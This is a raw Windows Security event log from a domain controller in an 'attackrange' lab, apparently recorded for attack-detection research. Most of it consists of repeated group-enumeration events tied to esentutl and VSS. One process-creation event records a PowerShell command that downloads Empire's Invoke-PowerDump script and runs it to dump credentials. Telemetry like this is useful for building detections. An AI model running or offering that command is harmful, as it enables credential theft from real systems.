ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x55E621 - -Group: - Security ID: BUILTIN\Backup Operators - Group Name: Backup Operators - Group Domain: Builtin - -Process Information: - Process ID: 0x1200 - Process Name: C:\Windows\System32\esentutl.exe -03/12/2021 02:33:41 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4799 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Security Group Management -OpCode=Info -RecordNumber=258007 -Keywords=Audit Success -Message=A security-enabled local group membership was enumerated. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x55E621 - -Group: - Security ID: BUILTIN\Administrators - Group Name: Administrators - Group Domain: Builtin - -Process Information: - Process ID: 0x1200 - Process Name: C:\Windows\System32\esentutl.exe -03/12/2021 02:33:41 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4799 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Security Group Management -OpCode=Info -RecordNumber=258006 -Keywords=Audit Success -Message=A security-enabled local group membership was enumerated. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x55E621 - -Group: - Security ID: BUILTIN\Backup Operators - Group Name: Backup Operators - Group Domain: Builtin - -Process Information: - Process ID: 0x1200 - Process Name: C:\Windows\System32\esentutl.exe -03/12/2021 02:33:41 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4799 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Security Group Management -OpCode=Info -RecordNumber=258005 -Keywords=Audit Success -Message=A security-enabled local group membership was enumerated. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x55E621 - -Group: - Security ID: BUILTIN\Administrators - Group Name: Administrators - Group Domain: Builtin - -Process Information: - Process ID: 0x1200 - Process Name: C:\Windows\System32\esentutl.exe -03/12/2021 02:33:41 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4799 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Security Group Management -OpCode=Info -RecordNumber=258004 -Keywords=Audit Success -Message=A security-enabled local group membership was enumerated. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x55E621 - -Group: - Security ID: BUILTIN\Backup Operators - Group Name: Backup Operators - Group Domain: Builtin - -Process Information: - Process ID: 0x1200 - Process Name: C:\Windows\System32\esentutl.exe -03/12/2021 02:33:41 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4799 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Security Group Management -OpCode=Info -RecordNumber=258003 -Keywords=Audit Success -Message=A security-enabled local group membership was enumerated. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x55E621 - -Group: - Security ID: BUILTIN\Backup Operators - Group Name: Backup Operators - Group Domain: Builtin - -Process Information: - Process ID: 0x1200 - Process Name: C:\Windows\System32\esentutl.exe -03/12/2021 02:33:41 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4799 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Security Group Management -OpCode=Info -RecordNumber=258002 -Keywords=Audit Success -Message=A security-enabled local group membership was enumerated. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x55E621 - -Group: - Security ID: BUILTIN\Administrators - Group Name: Administrators - Group Domain: Builtin - -Process Information: - Process ID: 0x1200 - Process Name: C:\Windows\System32\esentutl.exe -03/12/2021 02:33:41 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4799 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Security Group Management -OpCode=Info -RecordNumber=258001 -Keywords=Audit Success -Message=A security-enabled local group membership was enumerated. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x55E621 - -Group: - Security ID: BUILTIN\Administrators - Group Name: Administrators - Group Domain: Builtin - -Process Information: - Process ID: 0x1200 - Process Name: C:\Windows\System32\esentutl.exe -03/12/2021 02:33:41 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4799 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Security Group Management -OpCode=Info -RecordNumber=258000 -Keywords=Audit Success -Message=A security-enabled local group membership was enumerated. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x55E621 - -Group: - Security ID: BUILTIN\Backup Operators - Group Name: Backup Operators - Group Domain: Builtin - -Process Information: - Process ID: 0x1200 - Process Name: C:\Windows\System32\esentutl.exe -03/12/2021 02:33:41 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4799 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Security Group Management -OpCode=Info -RecordNumber=257999 -Keywords=Audit Success -Message=A security-enabled local group membership was enumerated. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x55E621 - -Group: - Security ID: BUILTIN\Administrators - Group Name: Administrators - Group Domain: Builtin - -Process Information: - Process ID: 0x1200 - Process Name: C:\Windows\System32\esentutl.exe -03/12/2021 02:33:41 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4799 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Security Group Management -OpCode=Info -RecordNumber=257998 -Keywords=Audit Success -Message=A security-enabled local group membership was enumerated. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x55E621 - -Group: - Security ID: BUILTIN\Backup Operators - Group Name: Backup Operators - Group Domain: Builtin - -Process Information: - Process ID: 0x1200 - Process Name: C:\Windows\System32\esentutl.exe -03/12/2021 02:33:41 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4799 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Security Group Management -OpCode=Info -RecordNumber=257997 -Keywords=Audit Success -Message=A security-enabled local group membership was enumerated. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x55E621 - -Group: - Security ID: BUILTIN\Administrators - Group Name: Administrators - Group Domain: Builtin - -Process Information: - Process ID: 0x1200 - Process Name: C:\Windows\System32\esentutl.exe -03/12/2021 02:33:41 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4799 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Security Group Management -OpCode=Info -RecordNumber=257996 -Keywords=Audit Success -Message=A security-enabled local group membership was enumerated. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x55E621 - -Group: - Security ID: BUILTIN\Backup Operators - Group Name: Backup Operators - Group Domain: Builtin - -Process Information: - Process ID: 0x1200 - Process Name: C:\Windows\System32\esentutl.exe -03/12/2021 02:33:41 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4799 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Security Group Management -OpCode=Info -RecordNumber=257995 -Keywords=Audit Success -Message=A security-enabled local group membership was enumerated. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x55E621 - -Group: - Security ID: BUILTIN\Administrators - Group Name: Administrators - Group Domain: Builtin - -Process Information: - Process ID: 0x1200 - Process Name: C:\Windows\System32\esentutl.exe -03/12/2021 02:33:41 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4905 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Audit Policy Change -OpCode=Info -RecordNumber=257994 -Keywords=Audit Success -Message=An attempt was made to unregister a security event source. - -Subject - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Process: - Process ID: 0xf08 - Process Name: C:\Windows\System32\VSSVC.exe - -Event Source: - Source Name: VSSAudit - Event Source ID: 0x569D12 -03/12/2021 02:33:41 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4904 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Audit Policy Change -OpCode=Info -RecordNumber=257993 -Keywords=Audit Success -Message=An attempt was made to register a security event source. - -Subject : - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Process: - Process ID: 0xf08 - Process Name: C:\Windows\System32\VSSVC.exe - -Event Source: - Source Name: VSSAudit - Event Source ID: 0x569D12 -03/12/2021 02:33:41 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4799 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Security Group Management -OpCode=Info -RecordNumber=257992 -Keywords=Audit Success -Message=A security-enabled local group membership was enumerated. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Group: - Security ID: BUILTIN\Backup Operators - Group Name: Backup Operators - Group Domain: Builtin - -Process Information: - Process ID: 0xf08 - Process Name: C:\Windows\System32\VSSVC.exe -03/12/2021 02:33:41 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4799 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Security Group Management -OpCode=Info -RecordNumber=257991 -Keywords=Audit Success -Message=A security-enabled local group membership was enumerated. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Group: - Security ID: BUILTIN\Administrators - Group Name: Administrators - Group Domain: Builtin - -Process Information: - Process ID: 0xf08 - Process Name: C:\Windows\System32\VSSVC.exe -03/12/2021 02:33:41 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4799 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Security Group Management -OpCode=Info -RecordNumber=257990 -Keywords=Audit Success -Message=A security-enabled local group membership was enumerated. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Group: - Security ID: BUILTIN\Backup Operators - Group Name: Backup Operators - Group Domain: Builtin - -Process Information: - Process ID: 0xf08 - Process Name: C:\Windows\System32\VSSVC.exe -03/12/2021 02:33:41 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4799 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Security Group Management -OpCode=Info -RecordNumber=257989 -Keywords=Audit Success -Message=A security-enabled local group membership was enumerated. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Group: - Security ID: BUILTIN\Administrators - Group Name: Administrators - Group Domain: Builtin - -Process Information: - Process ID: 0xf08 - Process Name: C:\Windows\System32\VSSVC.exe -03/12/2021 02:33:41 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4799 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Security Group Management -OpCode=Info -RecordNumber=257988 -Keywords=Audit Success -Message=A security-enabled local group membership was enumerated. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Group: - Security ID: BUILTIN\Backup Operators - Group Name: Backup Operators - Group Domain: Builtin - -Process Information: - Process ID: 0xf08 - Process Name: C:\Windows\System32\VSSVC.exe -03/12/2021 02:33:41 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4799 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Security Group Management -OpCode=Info -RecordNumber=257987 -Keywords=Audit Success -Message=A security-enabled local group membership was enumerated. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Group: - Security ID: BUILTIN\Administrators - Group Name: Administrators - Group Domain: Builtin - -Process Information: - Process ID: 0xf08 - Process Name: C:\Windows\System32\VSSVC.exe -03/12/2021 02:33:41 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4799 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Security Group Management -OpCode=Info -RecordNumber=257986 -Keywords=Audit Success -Message=A security-enabled local group membership was enumerated. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Group: - Security ID: BUILTIN\Backup Operators - Group Name: Backup Operators - Group Domain: Builtin - -Process Information: - Process ID: 0xf08 - Process Name: C:\Windows\System32\VSSVC.exe -03/12/2021 02:33:41 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4799 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Security Group Management -OpCode=Info -RecordNumber=257985 -Keywords=Audit Success -Message=A security-enabled local group membership was enumerated. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x55E621 - -Group: - Security ID: BUILTIN\Backup Operators - Group Name: Backup Operators - Group Domain: Builtin - -Process Information: - Process ID: 0x1200 - Process Name: C:\Windows\System32\esentutl.exe -03/12/2021 02:33:41 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4799 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Security Group Management -OpCode=Info -RecordNumber=257984 -Keywords=Audit Success -Message=A security-enabled local group membership was enumerated. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Group: - Security ID: BUILTIN\Administrators - Group Name: Administrators - Group Domain: Builtin - -Process Information: - Process ID: 0xf08 - Process Name: C:\Windows\System32\VSSVC.exe -03/12/2021 02:33:41 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4799 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Security Group Management -OpCode=Info -RecordNumber=257983 -Keywords=Audit Success -Message=A security-enabled local group membership was enumerated. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x55E621 - -Group: - Security ID: BUILTIN\Administrators - Group Name: Administrators - Group Domain: Builtin - -Process Information: - Process ID: 0x1200 - Process Name: C:\Windows\System32\esentutl.exe -03/12/2021 02:33:41 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4799 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Security Group Management -OpCode=Info -RecordNumber=257982 -Keywords=Audit Success -Message=A security-enabled local group membership was enumerated. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x55E621 - -Group: - Security ID: BUILTIN\Backup Operators - Group Name: Backup Operators - Group Domain: Builtin - -Process Information: - Process ID: 0x1200 - Process Name: C:\Windows\System32\esentutl.exe -03/12/2021 02:33:41 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4799 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Security Group Management -OpCode=Info -RecordNumber=257981 -Keywords=Audit Success -Message=A security-enabled local group membership was enumerated. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x55E621 - -Group: - Security ID: BUILTIN\Administrators - Group Name: Administrators - Group Domain: Builtin - -Process Information: - Process ID: 0x1200 - Process Name: C:\Windows\System32\esentutl.exe -03/12/2021 02:33:41 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4799 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Security Group Management -OpCode=Info -RecordNumber=257980 -Keywords=Audit Success -Message=A security-enabled local group membership was enumerated. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Group: - Security ID: BUILTIN\Backup Operators - Group Name: Backup Operators - Group Domain: Builtin - -Process Information: - Process ID: 0xf08 - Process Name: C:\Windows\System32\VSSVC.exe -03/12/2021 02:33:41 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4799 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Security Group Management -OpCode=Info -RecordNumber=257979 -Keywords=Audit Success -Message=A security-enabled local group membership was enumerated. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Group: - Security ID: BUILTIN\Administrators - Group Name: Administrators - Group Domain: Builtin - -Process Information: - Process ID: 0xf08 - Process Name: C:\Windows\System32\VSSVC.exe -03/12/2021 02:33:41 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4799 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Security Group Management -OpCode=Info -RecordNumber=257978 -Keywords=Audit Success -Message=A security-enabled local group membership was enumerated. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Group: - Security ID: BUILTIN\Backup Operators - Group Name: Backup Operators - Group Domain: Builtin - -Process Information: - Process ID: 0xf08 - Process Name: C:\Windows\System32\VSSVC.exe -03/12/2021 02:33:41 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4799 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Security Group Management -OpCode=Info -RecordNumber=257977 -Keywords=Audit Success -Message=A security-enabled local group membership was enumerated. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x55E621 - -Group: - Security ID: BUILTIN\Backup Operators - Group Name: Backup Operators - Group Domain: Builtin - -Process Information: - Process ID: 0x1200 - Process Name: C:\Windows\System32\esentutl.exe -03/12/2021 02:33:41 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4799 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Security Group Management -OpCode=Info -RecordNumber=257976 -Keywords=Audit Success -Message=A security-enabled local group membership was enumerated. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Group: - Security ID: BUILTIN\Administrators - Group Name: Administrators - Group Domain: Builtin - -Process Information: - Process ID: 0xf08 - Process Name: C:\Windows\System32\VSSVC.exe -03/12/2021 02:33:41 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4799 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Security Group Management -OpCode=Info -RecordNumber=257975 -Keywords=Audit Success -Message=A security-enabled local group membership was enumerated. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x55E621 - -Group: - Security ID: BUILTIN\Administrators - Group Name: Administrators - Group Domain: Builtin - -Process Information: - Process ID: 0x1200 - Process Name: C:\Windows\System32\esentutl.exe -03/12/2021 02:33:41 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4799 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Security Group Management -OpCode=Info -RecordNumber=257974 -Keywords=Audit Success -Message=A security-enabled local group membership was enumerated. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x55E621 - -Group: - Security ID: BUILTIN\Backup Operators - Group Name: Backup Operators - Group Domain: Builtin - -Process Information: - Process ID: 0x1200 - Process Name: C:\Windows\System32\esentutl.exe -03/12/2021 02:33:41 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4799 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Security Group Management -OpCode=Info -RecordNumber=257973 -Keywords=Audit Success -Message=A security-enabled local group membership was enumerated. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x55E621 - -Group: - Security ID: BUILTIN\Administrators - Group Name: Administrators - Group Domain: Builtin - -Process Information: - Process ID: 0x1200 - Process Name: C:\Windows\System32\esentutl.exe -03/12/2021 02:33:41 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4799 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Security Group Management -OpCode=Info -RecordNumber=257972 -Keywords=Audit Success -Message=A security-enabled local group membership was enumerated. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Group: - Security ID: BUILTIN\Backup Operators - Group Name: Backup Operators - Group Domain: Builtin - -Process Information: - Process ID: 0xf08 - Process Name: C:\Windows\System32\VSSVC.exe -03/12/2021 02:33:41 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4799 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Security Group Management -OpCode=Info -RecordNumber=257971 -Keywords=Audit Success -Message=A security-enabled local group membership was enumerated. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Group: - Security ID: BUILTIN\Backup Operators - Group Name: Backup Operators - Group Domain: Builtin - -Process Information: - Process ID: 0xf08 - Process Name: C:\Windows\System32\VSSVC.exe -03/12/2021 02:33:41 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4799 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Security Group Management -OpCode=Info -RecordNumber=257970 -Keywords=Audit Success -Message=A security-enabled local group membership was enumerated. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Group: - Security ID: BUILTIN\Administrators - Group Name: Administrators - Group Domain: Builtin - -Process Information: - Process ID: 0xf08 - Process Name: C:\Windows\System32\VSSVC.exe -03/12/2021 02:33:41 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4799 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Security Group Management -OpCode=Info -RecordNumber=257969 -Keywords=Audit Success -Message=A security-enabled local group membership was enumerated. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Group: - Security ID: BUILTIN\Administrators - Group Name: Administrators - Group Domain: Builtin - -Process Information: - Process ID: 0xf08 - Process Name: C:\Windows\System32\VSSVC.exe -03/12/2021 02:33:45 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=258045 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x55E621 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x294 - New Process Name: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x13a4 - Creator Process Name: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe - Process Command Line: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" & {Write-Host \""STARTING TO SET BYPASS and DISABLE DEFENDER REALTIME MON\"" -fore green -Set-ExecutionPolicy -Scope CurrentUser -ExecutionPolicy RemoteSigned -ErrorAction Ignore -Invoke-Webrequest -Uri \""https://raw.githubusercontent.com/BC-SECURITY/Empire/c1bdbd0fdafd5bf34760d5b158dfd0db2bb19556/data/module_source/credentials/Invoke-PowerDump.ps1\"" -UseBasicParsing -OutFile \""$Env:Temp\PowerDump.ps1\"" -Import-Module .\PowerDump.ps1 -Invoke-PowerDump} - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 02:33:46 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=258049 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x55E621 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x13c0 - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x1184 - Creator Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\ADMINI~1\AppData\Local\Temp\RESBBED.tmp" "c:\Users\Administrator\AppData\Local\Temp\00lezr2s\CSCB44602F1346B4F50A7D26D357FDA0AD.TMP" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 02:33:46 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=258048 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x55E621 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x1184 - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x294 - Creator Process Name: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe - Process Command Line: "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Administrator\AppData\Local\Temp\00lezr2s\00lezr2s.cmdline" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 02:33:46 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=258047 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x55E621 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x1228 - New Process Name: 